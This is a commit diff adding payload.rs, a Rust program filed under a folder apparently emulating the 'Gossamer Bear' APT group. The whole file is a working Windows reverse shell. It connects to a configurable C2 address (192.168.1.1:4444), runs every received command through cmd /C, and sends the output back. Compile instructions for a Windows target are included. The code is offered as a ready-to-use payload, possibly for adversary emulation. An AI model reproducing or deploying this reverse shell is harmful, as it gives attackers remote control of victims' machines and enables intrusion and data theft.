Add files via upload

Russian APT/Gossamer-Bear-APT/payload.rs

@@ -0,0 +1,54 @@
+//manual compile: rustc --target=x86_64-pc-windows-gnu payload.rs
+
+use std::net::TcpStream;
+use std::io::{Read, Write};
+use std::process::{Command, Stdio};
+
+fn main() {
+    // Change the IP address and port to match your C2 server
+    let server_ip = "192.168.1.1";
+    let server_port = "4444";
+
+    // Connect to the C2 server
+    let mut stream = match TcpStream::connect(format!("{}:{}", server_ip, server_port)) {
+        Ok(stream) => stream,
+        Err(e) => {
+            eprintln!("Failed to connect to the server: {}", e);
+            return;
+        }
+    };
+
+    // Receive commands from the server and execute them
+    loop {
+        let mut command_buffer = [0; 512];
+        match stream.read(&mut command_buffer) {
+            Ok(n) => {
+                if n == 0 {
+                    // Connection closed by the server
+                    println!("Connection closed by the server.");
+                    break;
+                }
+                let command = String::from_utf8_lossy(&command_buffer[..n]);
+                println!("Received command: {}", command);
+
+                // Execute the command
+                let output = Command::new("cmd")
+                    .arg("/C")
+                    .arg(command.trim())
+                    .stdout(Stdio::piped())
+                    .stderr(Stdio::piped())
+                    .output()
+                    .expect("Failed to execute command.");
+
+                // Send the command output back to the server
+                stream.write_all(&output.stdout).expect("Failed to send output to server.");
+                stream.write_all(&output.stderr).expect("Failed to send error output to server.");
+            }
+            Err(e) => {
+                eprintln!("Failed to receive data from the server: {}", e);
+                break;
+            }
+        }
+    }
+}
+